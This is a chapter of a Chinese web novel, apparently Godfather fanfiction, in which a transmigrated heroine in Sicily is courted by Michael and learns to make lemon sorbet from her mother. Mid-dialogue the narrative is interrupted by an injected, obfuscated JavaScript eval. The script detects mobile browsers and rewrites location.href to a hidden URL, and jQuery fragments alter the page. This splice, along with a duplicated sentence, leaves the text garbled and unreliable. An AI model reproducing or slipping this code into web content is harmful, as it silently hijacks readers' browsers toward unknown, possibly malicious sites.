从那天开始,倪雅几乎每天能看见迈克尔,每次来都要给她带些小礼物。手帕、头巾、香水,和一本印刷粗糙的意大利诗集。
说来惭愧,倪雅发现她虽然会说意大利语,但完全看不懂意大利文字。她无法接受自己是个全文盲的事实,试图跟系统讨价还价。“系统系统,你怎么回事?我看别人穿越带系统都有积分商城的,你都没有这个服务。”
系统并没有上激将法的当,声音平静得像在茅坑躺了八百年的石头:【本系统为简配型剧情辅助模块,暂无字词识别强化权限。建议用户自行适应所在时代文化水平。】
倪雅努努嘴,嘟囔道,“别人像我这么穿越的,照这个进度,背后强大的系统已经给尊贵的宿主提供什么脱胎换骨绝世美貌和点石成金的能力了,我的系统只能让我在西西里农村做文盲,还要迎接两个月内被炸死的命运。”
系统已经摸清她的性子了,知道她这时候只想找人吵架解闷,不是真的求帮助。所以它干脆战略性装死,保持沉默。
葡萄藤架下的少女,手肘撑着桌沿,侧脸托在掌心里,眉眼低垂。半边脸藏在影子里。阳光从藤叶缝隙落下斑驳的光点,落在她的手背上、裙摆上,还有那本他送的诗集上。
她一动不动,沉静优美得像从画里走出来的少女,像希腊神话里失落在乡村午后的女神。
风吹得她鬓边一缕头发飘起来,她懒得理会。另一只手臂压在书页上,动作慵懒,看起来百无聊赖,不知道是在抱怨天气太热,还是日子无聊,也许是单纯地怨他不来,在生闷气。
如果是后者,迈克尔感到一阵受宠若惊,嘴角浮起一点笑意。
他没有急着走过去,脱帽向院子里择豆子,分神关注这边的母亲致意,母亲露出善解人意的微笑。
自从婚礼日期定下后,迈克尔敏锐感觉到,她母亲对他们的看管比从前宽松不少。有时他牵她的手,手指触到手腕或肩膀,她母亲也只当没看见。
这种默许,他自然乐见其成。
他绕过葡萄藤架,脚步不紧不慢,在她身边的椅子上坐下。
她并没有看他,只是偏了偏头,让阳光落得少一些,手依旧托着腮。
“你在等我?”他声音低低的,带着一点笑意。
她慢吞吞地转头乜他一眼,眼神懒洋洋的,“等你做什么?”
迈克尔没接她这一句,身体向她那边靠近,“读到哪一首?”
倪雅抬起枕在诗集上的手臂,任他拿起诗集。托腮的动作从容地换到另一只手,身子也微微侧过来,看向他。
阳光透过葡萄藤架洒落在他的肩上,也落在他额前垂下的几缕黑发上。不是典型的欧洲卷发,而是柔顺的黑色直发,在阳光下泛着温和的光泽。
今天他没有像第一次登门那样把头发梳成规矩的背头。那天他穿着笔挺,头发一丝不乱,一看就很贵。但今天,他只是坐在她身边,一缕头发垂在眉侧,手里拿着诗集,像大学里穿着灰色帽衫的、长得不错、脾气很好、很好接触的男生。
他指尖轻触那本书,看到页码上的诗句,不着痕迹地松一口气。他的意大利文阅读水平并不很高,庆幸的是,这首诗里的每一个词,他都认得。
他低头,开始念。声音不疾不徐。念到一句:
“她的沉默有自己的语言,比夜晚更安静,比晨光更动人。”
她的眼神动了一下,轻声说:“你可以念慢点,我想记住它。”
他顿了顿,抬眼看她。并没有拆穿,他早已知道她不识字,他根本不在乎。因为他现在,只想顺从她的请求,给她念诗。
如果她愿意的话,他可以一直念,念到她入睡,直到月光落在她皎洁的脸庞。
葡萄藤叶被风吹得沙沙作响,光影缓缓摇晃,在他们脚边铺展开细碎的光斑。远处传来一声拖长的鸡鸣,又被夏日的空气裹住,温柔得像从别人的梦里飘出来的。
时间仿佛被悄悄拉长了,整个午后成了一片半透明的金色湖水,所有声音都沉到水底,只剩风和阳光在水面轻轻浮动。
如果此刻是电影中的一幕,那么插曲一定是德彪西的牧神午后前奏曲。
迈克尔在正餐前告辞。迈克尔在正餐前告辞。无论多舍不得,一个有礼节的年轻人,必须要在女孩家人共进晚餐前离开。即使女孩是他的未婚妻子。
倪雅把他送至门口,看他的背影在山路上,一步三、四、五回头。前三次倪雅还能解释为共度美好下午的余韵,之后他再回头,还被石子绊了一下,倪雅有点好笑地和系统吐槽,“被雷劈的男人是不是大脑构造也被改变了?像个傻子。”
系统不解风情,机械音没有半点人味:【傻气等级+1。含情回头次数已达高危值。建议用户冷静观察,勿轻易动心。】
她没理它,只是轻轻把门关上,像关上一段还没说完的句子。
迈克尔离开后,倪雅与母亲一起在厨房准备晚餐。婚期将近,母亲仿佛急于将让她立足于维泰利家大半辈子的菜谱传授给女儿,每天都要带着她做传统的西西里菜式。
今天是茄子卷。油锅一热,母亲就把裹了帕玛森芝士的茄子片一片片排进锅里,噼里啪啦发出下雨的声音。倪雅站在一旁搅拌番茄酱,热气冲得她满脸通红。
“你要记好顺序,”母亲一边翻动茄子,一边说,“先裹粉,再蘸蛋液,不能急。你以后要伺候丈夫了,不能马虎。”
“是是是。”她敷衍地应着,手上的番茄酱越搅越快。
她对“伺候丈夫”的言论反感,但也明白这是传统的乡村女性的观念,她们世世代代都是被这么教育的,所以不能怪罪于这些可怜的女性。
倪雅并不讨厌做菜,相反,还挺享受做菜的过程。她上大学的这几年,大多数时候都是自己给自己做吃的,不会的就翻照片、看教学视频,一点点学着做。
她曾和人合租过一段时间。那时室友总会视频连线家里的妈妈,让对方一步步指导做菜。她没说什么,但只有她自己知道,她有多羡慕。
西西里的菜色炸物太多,油气重,每次做完身上都一股味儿。但她并不厌烦,反而珍惜这热闹又安静的厨房节奏,以及母亲试图倾囊相授的那份急切与爱意。
在母亲朴素的观念里,只要女儿做得一手好饭,男人的爱情就会持续得久一点。
“妈妈,你什么时候教我做柠檬雪芭呢?”晚餐差不多准备好了,倪雅趁机问道。
“以前不是觉得做雪芭太麻烦吗?现在想学啦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405272|168747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”母亲语气里带着轻描淡写的打趣,她没有忘记那天看到的一幕。
那天,她在厨房门口,看到那个年轻人一路跑上山来,手里捧着一个用布包着的铜罐。像攒了漫山遍野的热气,额头上的汗都能浇花喽。
铜罐里的是两个镇上中央广场新来的外地摊贩卖的雪芭,据说是“巴勒莫最美味的柠檬雪芭配方”。他没忘记他第一次登门拜访时,她吃到雪芭的开心模样。
倪雅尝了一口,秀美的眉毛皱了起来。雪芭没有柠檬的清爽,只有柠檬的苦涩,连母亲做的十分之一都比不上。
迈克尔眼睛亮晶晶地看着她,像是在等一句评价,又像是在观察她的每一个微表情。
“不好吃吗?”
倪雅把雪芭递给他,迈克尔得偿所愿,吃到了那天没吃到的,她吃剩的雪芭。
母亲站在门后,看着女儿把汗湿的鬓发别到耳后,又随手用手帕帮迈克尔擦了下额头,指尖轻轻掠过他的发际,“你出了好多汗。”
她本想出声,却最后只是笑了笑,没打断他们。
托女儿的福,她也吃上了“巴勒莫最美味的柠檬雪芭配方”。那一口雪芭苦得很,她却觉得心是甜的。
倪雅不顾母亲话里的调侃,用撒娇的语气,“我一直想学的。”
“雪芭不能急,要趁天气最热、阳光最足的时候做,做起来要费点功夫,”她一边说,一边收拾用过的厨具,“可你要是真想学,明天咱们就做。”
她转身从柜子底下拎出那个旧铜盘,拍了拍上面的布套,像是拿出一件传家宝。
“你得先把柠檬皮刮干净、晾一整天,才肯出香味;糖水要煮得刚好,不稀不稠;冻雪芭那冰块,是我托山上人家早上扛下来的。藏在酒窖最深那一角,得每隔一小时去翻一回。”
说到自己擅长的事,头头是道,声音轻快,像年轻了几岁。
倪雅喜欢看她这样神采飞扬的样子。
“小时候你不爱吃,我还以为你忘了呢。”
倪雅鼻尖一酸,笑了笑:“我没忘。那是我吃过最好吃的雪芭。”
“妈妈,到时候做好了,就可以让爸爸在酒馆里卖我们家的雪芭。你做的雪芭是意大利最好吃的雪芭,比巴勒莫最好吃的配方要好上不知道多少呢。”
母亲低头笑了一下,没说话,只是摸了摸铜盘的边沿,目光慈爱,“现在我们家最重要的事,是准备你的婚礼,阿波罗妮亚。”
倪雅不愿意让母亲绕开话题,有点像发小孩子脾气,不依不饶,“妈妈,两件事不冲突呀。现在天气还热着,要把握时间呢。你想想,你亲手做的柠檬雪芭能带来十里拉,你的劳动可以带来真的钱。这样,酒馆不仅有意大利最好的红酒,还有意大利最好的柠檬雪芭!”
她知道自己心急了,她是真的想在自己离开前,看到母亲有自己的经济来源,哪怕只是一点点。也许就能让她在这个家里,在面对丈夫时,有了说话的底气,能挺直腰板。
厨房的灯光把母亲的脸映得有点暖,她眼里没有太多表情,却又好像什么都看明白了。
“那你可不能偷懒,”她语气一如既往地平淡,“明天早上六点得起来刮柠檬皮。”
倪雅朗声应承,“好!”